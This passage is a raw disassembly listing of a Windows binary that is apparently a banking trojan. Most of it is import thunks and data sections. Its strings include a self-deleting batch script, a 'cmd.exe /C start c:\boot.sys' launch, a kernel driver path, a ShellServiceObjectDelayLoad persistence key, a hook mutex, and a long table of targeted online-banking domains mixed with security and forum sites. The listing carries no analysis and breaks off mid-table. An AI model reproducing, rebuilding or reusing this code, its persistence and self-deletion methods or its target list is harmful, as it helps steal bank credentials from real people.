--------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6A4 proc near ; CODE XREF: sub_402AD6+4D2p jmp ds:dword_448428 sub_40C6A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6B0 proc near ; CODE XREF: sub_4068E8+32p jmp ds:dword_44842C sub_40C6B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6BC proc near ; CODE XREF: sub_403B8E+180p ; sub_40439D+D1p ... jmp ds:dword_448430 sub_40C6BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6C8 proc near ; CODE XREF: sub_403B8E+E2p ; sub_403D18+2ACp ... jmp ds:dword_448434 sub_40C6C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6D4 proc near ; CODE XREF: sub_40A74E+4F5p jmp ds:dword_448438 sub_40C6D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6E0 proc near ; CODE XREF: sub_401B83+C5p ; sub_405559+1Cp ... jmp ds:dword_44843C sub_40C6E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6EC proc near ; CODE XREF: sub_4068E8+13p jmp ds:dword_448440 sub_40C6EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C6F8 proc near ; CODE XREF: sub_4062A9+2C4p ; sub_408C55+18Cp jmp ds:dword_448444 sub_40C6F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C704 proc near ; CODE XREF: sub_407FE2+37p ; sub_40A74E+7A3p jmp ds:dword_448448 sub_40C704 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C710 proc near ; CODE XREF: sub_40AF80+104p jmp ds:dword_448454 sub_40C710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C71C proc near ; CODE XREF: sub_4062A9+3BBp ; sub_406A35+9Fp ... jmp ds:dword_448458 sub_40C71C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C728 proc near ; CODE XREF: sub_408EFF+64p ; sub_40B090+112p ... jmp ds:dword_44845C sub_40C728 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C734 proc near ; CODE XREF: sub_4062A9+340p jmp ds:dword_448460 sub_40C734 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C740 proc near ; CODE XREF: sub_408E57+29p ; sub_408E57+8Fp jmp ds:dword_448464 sub_40C740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C74C proc near ; CODE XREF: sub_408E57+59p jmp ds:dword_448468 sub_40C74C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C758 proc near ; CODE XREF: sub_408EFF+96Ap ; sub_40AF80+4Dp ... jmp ds:dword_44846C sub_40C758 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C764 proc near ; CODE XREF: sub_406D91+9Cp jmp ds:dword_448470 sub_40C764 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C770 proc near ; CODE XREF: sub_40A74E+42Ep jmp ds:dword_448474 sub_40C770 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C77C proc near ; CODE XREF: sub_40A74E+7E7p jmp ds:dword_448478 sub_40C77C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C788 proc near ; CODE XREF: sub_40A74E+450p jmp ds:dword_44847C sub_40C788 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C794 proc near ; CODE XREF: sub_40B090+409p ; sub_40B090+4B6p ... jmp ds:dword_448480 sub_40C794 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7A0 proc near ; CODE XREF: sub_40A74E+822p jmp ds:dword_448484 sub_40C7A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7AC proc near ; CODE XREF: sub_408EFF+8B6p ; sub_408EFF+8E4p ... jmp ds:dword_448488 sub_40C7AC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7B8 proc near ; CODE XREF: sub_408EFF+8D2p ; sub_408EFF+8FBp ... jmp ds:dword_44848C sub_40C7B8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7C4 proc near ; CODE XREF: sub_404502+5Cp jmp ds:dword_448490 sub_40C7C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7D0 proc near ; CODE XREF: sub_404502+83p jmp ds:dword_448494 sub_40C7D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7DC proc near ; CODE XREF: sub_404502+20p jmp ds:dword_448498 sub_40C7DC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7E8 proc near ; CODE XREF: sub_40A74E+805p jmp ds:dword_44849C sub_40C7E8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C7F4 proc near ; CODE XREF: sub_40A74E+80Ep jmp ds:dword_4484A0 sub_40C7F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C800 proc near ; CODE XREF: sub_405004+6Fp ; sub_405004+F5p ... jmp ds:dword_4484A4 sub_40C800 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C80C proc near ; CODE XREF: sub_408EFF+1ECp ; sub_408EFF+31Ap ... jmp ds:dword_4484A8 sub_40C80C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C818 proc near ; CODE XREF: sub_40A74E+489p jmp ds:dword_4484AC sub_40C818 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C824 proc near ; CODE XREF: sub_40B090+24Bp jmp ds:dword_4484B0 sub_40C824 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C830 proc near ; CODE XREF: sub_408EFF+52p ; sub_40B090+8E4p jmp ds:dword_4484B4 sub_40C830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C83C proc near ; CODE XREF: sub_408EFF+ABp ; sub_408EFF+125p ... jmp ds:dword_4484B8 sub_40C83C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C848 proc near ; CODE XREF: sub_40B090+277p ; sub_40B090+823p jmp ds:dword_4484BC sub_40C848 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C854 proc near ; CODE XREF: sub_40B090+1BCp jmp ds:dword_4484C0 sub_40C854 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C860 proc near ; CODE XREF: sub_40B090+907p jmp ds:dword_4484C4 sub_40C860 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C86C proc near ; CODE XREF: sub_40A74E+45Ep jmp ds:dword_4484D0 sub_40C86C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C878 proc near ; CODE XREF: sub_40B090+30Ap jmp ds:dword_4484D4 sub_40C878 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C884 proc near ; CODE XREF: sub_40B090+2ECp ; sub_40B090+2F8p jmp ds:dword_4484D8 sub_40C884 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C890 proc near ; CODE XREF: sub_40B090+324p jmp ds:dword_4484DC sub_40C890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C89C proc near ; CODE XREF: sub_408EFF+1D6p ; sub_408EFF+7D6p jmp ds:dword_4484E0 sub_40C89C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8A8 proc near ; CODE XREF: sub_4051C3+2Bp jmp ds:dword_4484EC sub_40C8A8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8B4 proc near ; CODE XREF: sub_4051C3+64p jmp ds:dword_4484F0 sub_40C8B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8C0 proc near ; CODE XREF: sub_4015B0+2Fp ; sub_4040BF+21p jmp ds:dword_4484F4 sub_40C8C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8CC proc near ; CODE XREF: sub_401490+5Fp ; sub_4015B0+63p ... jmp ds:dword_4484F8 sub_40C8CC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8D8 proc near ; CODE XREF: sub_401490+22p jmp ds:dword_4484FC sub_40C8D8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8E4 proc near ; CODE XREF: sub_401490+4Ap jmp ds:dword_448500 sub_40C8E4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8F0 proc near ; CODE XREF: sub_4015B0+54p ; sub_4040BF+48p jmp ds:dword_448504 sub_40C8F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C8FC proc near ; CODE XREF: sub_4022E4+12Cp jmp ds:dword_448508 sub_40C8FC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C908 proc near ; CODE XREF: sub_4022E4+162p jmp ds:dword_44850C sub_40C908 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C914 proc near ; CODE XREF: sub_4022E4+148p jmp ds:dword_448510 sub_40C914 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C920 proc near ; CODE XREF: sub_405004+28p jmp ds:dword_448514 sub_40C920 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C92C proc near ; CODE XREF: sub_405004+187p jmp ds:dword_448518 sub_40C92C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C938 proc near ; CODE XREF: sub_405004+38p jmp ds:dword_44851C sub_40C938 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C944 proc near ; CODE XREF: sub_40369B+39p jmp ds:dword_448528 sub_40C944 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C950 proc near ; CODE XREF: sub_401219+49p jmp ds:dword_44852C sub_40C950 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C95C proc near ; CODE XREF: sub_406A35+1A0p ; sub_406D91+7Ap ... jmp ds:dword_448530 sub_40C95C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C968 proc near ; CODE XREF: sub_40538B+FFp ; sub_40538B+199p jmp ds:dword_448534 sub_40C968 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C974 proc near ; CODE XREF: sub_409883+D7Fp ; sub_409883+DA1p jmp ds:dword_448538 sub_40C974 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C980 proc near ; CODE XREF: sub_401219+74p ; sub_409883+CFEp ... jmp ds:dword_44853C sub_40C980 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C98C proc near ; CODE XREF: sub_408884+128p jmp ds:dword_448540 sub_40C98C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C998 proc near ; CODE XREF: sub_40129C+19p ; .text:0040140Dp ... jmp ds:dword_448544 sub_40C998 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9A4 proc near ; CODE XREF: sub_4062A9+68p ; sub_4062A9+224p ... jmp ds:dword_448548 sub_40C9A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9B0 proc near ; CODE XREF: sub_40109A+149p jmp ds:dword_44854C sub_40C9B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9BC proc near ; CODE XREF: sub_4016D2:loc_4016F9p ; sub_403D18+3Cp ... jmp ds:dword_448550 sub_40C9BC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9C8 proc near ; CODE XREF: sub_40109A+102p ; sub_40109A+11Cp ... jmp ds:dword_448554 sub_40C9C8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9D4 proc near ; CODE XREF: sub_403883+3Ap ; .text:0040394Bp ... jmp ds:dword_448558 sub_40C9D4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9E0 proc near ; CODE XREF: sub_409883+72p ; sub_40A74E+FFp jmp ds:dword_44855C sub_40C9E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9EC proc near ; CODE XREF: sub_409883+A00p jmp ds:dword_448560 sub_40C9EC endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9F8 proc near ; CODE XREF: sub_4034C6+79p ; sub_40355C+59p ... jmp ds:dword_448564 sub_40C9F8 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA04 proc near ; CODE XREF: sub_40C3D8+17p jmp ds:dword_448568 sub_40CA04 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CA10 proc near ; CODE XREF: sub_4062A9+48Ep jmp ds:dword_44856C sub_40CA10 endp ; --------------------------------------------------------------------------- align 800h _text ends ; Section 2. (virtual address 0000D000) ; Virtual size : 0002E3A0 ( 189344.) ; Section size in file : 0002E3A0 ( 189344.) ; Offset to raw data for section: 0000D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _bss segment para public 'DATA' use32 assume cs:_bss ;org 40D000h dword_40D000 dd 72656B5Ch ; sub_4083D0+98r ... aNel32_dll db 'nel32.dll',0 align 10h dd 0 dd 73250000h, 646D635Ch, 6669702Eh, 2 dup(0) db 0 aCmd_exeCStartC db '\cmd.exe /C start c:\boot.sys',0 align 4 dd 3E2h dup(0) dword_40DFD0 dd 0 ; sub_40AF80+D1r dword_40DFD4 dd 0 ; sub_401D0D+48Bw ... align 10h dword_40DFE0 dd 40h dup(0) ; sub_409883+681o ... dword_40E0E0 dd 0 ; sub_40360B:loc_403691r dd 3E9h dup(0) dword_40F088 dd 0 ; sub_401D0D+234w ... dword_40F08C dd 0 ; sub_401D0D+41Fr ... dword_40F090 dd 0 ; sub_406D91+1090r ... byte_40F094 db 0 ; DATA XREF: sub_401D0D+131w align 10h dword_40F0A0 dd 40h dup(0) ; sub_40A74E+383o ... dword_40F1A0 dd 0 ; sub_402AD6+FFw ... dd 0FFh dup(0) dword_40F5A0 dd 0 ; sub_4037DF:loc_403879r dd 423h dup(0) dword_410630 dd 0 ; sub_408EFF+822r ... align 10h dword_410640 dd 0 ; .text:loc_401B79r dd 44Fh dup(0) dword_411780 dd 0 dd 0FFh dup(0) dword_411B80 dd 785C7325h ; sub_404129:loc_4041ACr aSlfdlnt_bat db 'slfdlnt.bat',0 dd 0 dd 25000000h, 6D635C73h, 69702E64h, 66h, 0 dd 6D635C00h, 78652E64h, 65h, 0 dd 6F6C3A00h, 0A0D706Fh, 6C656440h, 3E732520h, 0D6C756Eh dd 6669400Ah, 69786520h, 25207473h, 6F672073h, 6C206F74h dd 0D706F6Fh, 6564400Ah, 7325206Ch, 6C756E3Eh, 0A0Dh, 0 dd 73250000h, 20432F20h, 7325h, 42Fh dup(0) dword_412CC0 dd 0 ; .text:loc_402563r dd 454h dup(0) dword_413E14 dd 0 ; sub_40AF80+E9r dword_413E18 dd 0 ; sub_408EFF+86Cr ... align 10h dword_413E20 dd 0 ; sub_408BAE+9Dr dd 42Dh dup(0) byte_414ED8 db 0 ; DATA XREF: sub_401D0D+427w align 10h byte_414EE0 db 0 ; DATA XREF: sub_401D0D+56w ; sub_401D0D+5Br ... align 4 dword_414EE4 dd 0 ; sub_401D0D+1DEw ... align 10h dword_414EF0 dd 40h dup(0) ; sub_409883+91Bo ... dword_414FF0 dd 0 ; sub_402AD6+F3r ... dd 0FFh dup(0) dword_4153F0 dd 0 ; sub_4080C5+90r dd 457h dup(0) dword_416550 dd 0 ; .text:loc_40194Cr dd 43Fh dup(0) dword_417650 dd 0 ; sub_4045EF+5Er dd 417h dup(0) dword_4186B0 dd 0 ; .text:0040223Cr dd 41Bh dup(0) dword_419720 dd 94h ; sub_40A74E+D6o dd 5, 1, 0A28h dword_419730 dd 2 aServicePack2 db 'Service Pack 2',0 align 4 dd 1Fh dup(0) dword_4197C0 dd 0 ; sub_40525E:loc_4052EAr dd 3EFh dup(0) dword_41A780 dd 0 ; .text:00401486r dd 3FBh dup(0) byte_41B770 db 0 ; DATA XREF: sub_401D0D+3E6w ; sub_401D0D+3EBr align 4 dword_41B774 dd 0 ; sub_401D0D+D8r ... dword_41B778 dd 0 dword_41B77C dd 0 ; sub_4022E4+10Cr ... dword_41B780 dd 6972645Ch ; sub_40129C:loc_401316r aVersNdisrd_sys db 'vers\ndisrd.sys',0 dd 65000000h, 6C62616Eh, 66736465h, 0 aSS_exe db '%s\%s.exe',0 align 10h dd 454h dup(0) dword_41C900 dd 0 ; sub_40A74E+7E1r ... align 10h dword_41C910 dd 0 ; sub_40684E+90r dd 457h dup(0) dword_41DA70 dd 0 ; sub_408EFF+1E6r dword_41DA74 dd 0 ; sub_408EFF+4Cr ... dword_41DA78 dd 0 ; sub_4024CB+Dr align 10h dword_41DA80 dd 463Ah ; sub_40336C+87r dd 435h dup(0) dword_41EB58 dd 0 ; sub_401D0D:loc_401D9Aw ... dword_41EB5C dd 0 ; sub_408EFF+70Er ... dword_41EB60 dd 0 ; sub_40AF80+BCr dword_41EB64 dd 0 ; sub_408EFF+35Fr ... dword_41EB68 dd 0 ; sub_40247C+3Fr dword_41EB6C dd 400000h ; sub_408EFF+DAr ... dword_41EB70 dd 0 ; sub_401D0D+AFw ... align 10h dword_41EB80 dd 3430257Bh ; sub_4039E6:loc_403A71r aX04x04x04x04x0 db 'X%04X-%04X-%04X-%04X-%04X%04X%04X}',0 align 4 dd 0 dd 30250000h, 5838h, 0 dd 73250000h, 2E73255Ch, 6C6C64h, 0 dd 43000000h, 4449534Ch, 5C73255Ch, 72506E49h, 6553636Fh dd 72657672h, 3233h, 0 dd 68540000h, 64616572h, 4D676E69h, 6C65646Fh, 2 dup(0) aApartment db 'Apartment',0 align 4 dd 0 db 0 aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay' db 'Load',0 align 4 dd 3C3h dup(0) dword_41FB64 dd 0 ; sub_40AF80+A1r align 10h dword_41FB70 dd 40h dup(0) ; sub_40A74E+345o ... byte_41FC70 db 0 ; DATA XREF: sub_401D0D+188w align 4 dword_41FC74 dd 0 ; sub_408EFF+E2r ... align 10h byte_41FC80 db 0 ; DATA XREF: sub_406D91+1B4o ; sub_406D91+D91o ... byte_41FC81 db 0 ; DATA XREF: sub_406D91+F36r byte_41FC82 db 0 ; DATA XREF: sub_406D91+F3Fr byte_41FC83 db 0 ; DATA XREF: sub_406D91+F48r dd 3FFFh dup(0) byte_42FC80 db 0 ; DATA XREF: sub_401D0D+280w ; sub_401D0D+285r align 4 dword_42FC84 dd 0 ; .text:0040806Fr ... align 10h dword_42FC90 dd 0 ; .text:loc_4017C8r dd 3F0h dup(0) dword_430C54 dd 0 dword_430C58 dd 0 ; sub_4022E4+25r dword_430C5C dd 0 ; sub_408EFF+20Cr ... byte_430C60 db 0 ; DATA XREF: sub_401D0D+318w ; sub_401D0D+322r ... align 10h dword_430C70 dd 0 ; .text:004044F8r dd 447h dup(0) dword_431D90 dd 0 ; sub_406CF9+8Er dd 40Ah dup(0) dword_432DBC dd 0 ; sub_408EFF+84Cr ... dword_432DC0 dd 0 ; sub_40B090+2B5r ... dword_432DC4 dd 0 ; sub_408EFF+314r ... align 10h dword_432DD0 dd 0 ; .text:00408760r dd 41Bh dup(0) aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_403B8E+67o ; sub_403D18+245o ... dd 3Bh dup(0) byte_433F40 db 0 ; DATA XREF: sub_401320+92o ; sub_40815F+11Aw ... align 4 dd 3Fh dup(0) dword_434040 dd 0 ; .text:00401A39r dd 1BFh dup(0) db 3 dup(0) byte_434743 db 0 ; DATA XREF: .data:off_44734Fo dd 25Ch dup(0) dword_4350B4 dd 0 ; sub_408EFF+88Er ... dword_4350B8 dd 0 ; sub_408EFF+89Er align 10h dword_4350C0 dd 0 ; .text:loc_4015A6r dd 42Bh dup(0) dword_436170 dd 0 ; sub_404F63:loc_404FFAr dd 3F3h dup(0) dword_437140 dd 0 ; .text:00401D03r dd 447h dup(0) dword_438260 dd 0 ; .text:loc_4016C8r dd 43Fh dup(0) dword_439360 dd 0 ; .text:loc_408A45r dd 40Dh dup(0) dword_43A398 dd 0 ; sub_40B090+2BDr ... align 10h byte_43A3A0 db 0 ; DATA XREF: sub_401D0D+466w align 10h dword_43A3B0 dd 0 ; .text:00408856r dd 3FBh dup(0) _bss ends ; Section 3. (virtual address 0003C000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 0003C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 43C000h dd offset dword_40D000 dd 43B3A0h, 8000h, 0 dword_43C010 dd 0 ; sub_40109A+110w ... dword_43C014 dd 12FF74h dd 0 dword_43C01C dd 0 dword_43C020 dd 1 ; sub_401219+5Ar dword_43C024 dd 14A4E0h ; sub_401219+54r dword_43C028 dd 1471D8h ; sub_401219+4Er dword_43C02C dd 0 ; sub_40109A:loc_401208r dword_43C030 dd 0 dword_43C034 dd 0 ; sub_40109A+87r ... dword_43C038 dd 0 dword_43C03C dd 14h dup(0) ; sub_40109A+8Fo dword_43C08C dd 0 dword_43C090 dd 0 ; sub_40109A+32w dword_43C094 dd 1 ; sub_408EFF+158r ... dword_43C098 dd 0Fh ; sub_408E57+63r ... dword_43C09C dd 31h ; sub_40129C:loc_4012C1r ... aKkqhook_30 db 'KKQHOOK_30',0 ; DATA XREF: sub_40A6EA+24o ; sub_40A74E+4ECo aWmce db '$WmcE',0 aEl2w db '|EL2W',0 align 4 dword_43C0B8 dd 0 ; sub_409883+11Ar ... dword_43C0BC dd 46h ; sub_409883+DB9r ... off_43C0C0 dd offset aSiliconfirewar ; DATA XREF: sub_409883+DFr ; sub_409883+120r ; "siliconfireware.ru" dd offset aChechenpress_i ; "chechenpress.info" dd offset aProdexteam_net ; "prodexteam.net" dd offset aProdexteam_n_0 ; "prodexteam.net/main.htm" dd offset aWww_cbr_ru ; "www.cbr.ru" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aProdexteam_n_1 ; "prodexteam.netcrutop.nu" dd offset aNew_egg_com ; "new.egg.com" dd offset aWww_baltbank_r ; "www.baltbank.ru" dd offset aWelcome3_smile ; "welcome3.smile.co.uk" dd offset aOlb2_nationet_ ; "olb2.nationet.com" dd offset aWww_bbin_ru ; "www.bbin.ru" dd offset aMasterX_com ; "master-x.com" dd offset aEbookfinaltras ; "ebookfinaltrash.ru" dd offset aWww_masterbank ; "www.masterbank.ru" dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php" dd offset aWww_bmo_com ; "www.bmo.com" dd offset aWww_bankofmadu ; "www.bankofmadura.com" dd offset aWww_cibc_com ; "www.cibc.com" dd offset aWww_vtb_ru ; "www.vtb.ru" dd offset aWww_cwbank_com ; "www.cwbank.com" dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru" dd offset aAlfabank_ru ; "alfabank.ru" dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/" dd offset aWww_mmbank_ru ; "www.mmbank.ru" dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php" dd offset aWww_uniastrum_ ; "www.uniastrum.ru" dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php" dd offset aAtmacasoft_com ; "atmacasoft.com" dd offset aAsmworm_com ; "asmworm.com" dd offset aWww_proxySocks ; "www.proxy-socks.net" dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru" dd offset aWww_worldbank_ ; "www.worldbank.org/index.php" dd offset aWww_candidatev ; "www.candidateverifier.com/index.php" dd offset aWww_sbrf_ru ; "www.sbrf.ru" dd offset aPizdabolInc_ru ; "pizdabol-inc.ru" dd offset aWww_bankofindi ; "www.bankofindia.com" dd offset aWww_icbank_ru ; "www.icbank.ru" dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."... dd offset aWww_spyinstruc ; "www.spyinstructors.com" dd offset aWww_kmb_ru ; "www.kmb.ru" dd offset aWww_netmagiste ; "www.netmagister.com" dd offset aKavkazcenter_c ; "kavkazcenter.com/russ" dd offset aWww_absolutban ; "www.absolutbank.ru" dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk" dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk" dd offset aWww_allahabadb ; "www.allahabadbank.com" dd offset aMasterX_comFor ; "master-x.com/forum/" dd offset aWww_rbc_com ; "www.rbc.com" dd offset aWww_ovk_ru ; "www.ovk.ru" dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php" dd offset aProrat_net ; "prorat.net" dd offset aYambo_biz ; "yambo.biz" dd offset aKidosBank_ru ; "kidos-bank.ru" dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"... dd offset aBarclays_com ; "barclays.com" dd offset aTotallyfreeban ; "totallyfreebanking.com" dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php" dd offset a53bank_com ; "53bank.com" dd offset aWww_uralsib_ru ; "www.uralsib.ru" dd offset aGrepwareFacili ; "grepware-facility.ru" dd offset aWww_b2bTrust_c ; "www.b2b-trust.com" dd offset aGutabank_ru ; "gutabank.ru" dd offset aOpenbank_com ; "openbank.com" dd offset aSeclab_ru ; "seclab.ru" dd offset aTatNeftbank_ru ; "tat-neftbank.ru" dd offset aSecuritylab_ru ; "securitylab.ru" dd offset aRoyalbank_com ; "royalbank.com" dd offset aFethard_biz ; "fethard.biz" dd offset aWww_mdmbank_ru ; "www.mdmbank.ru" dd offset 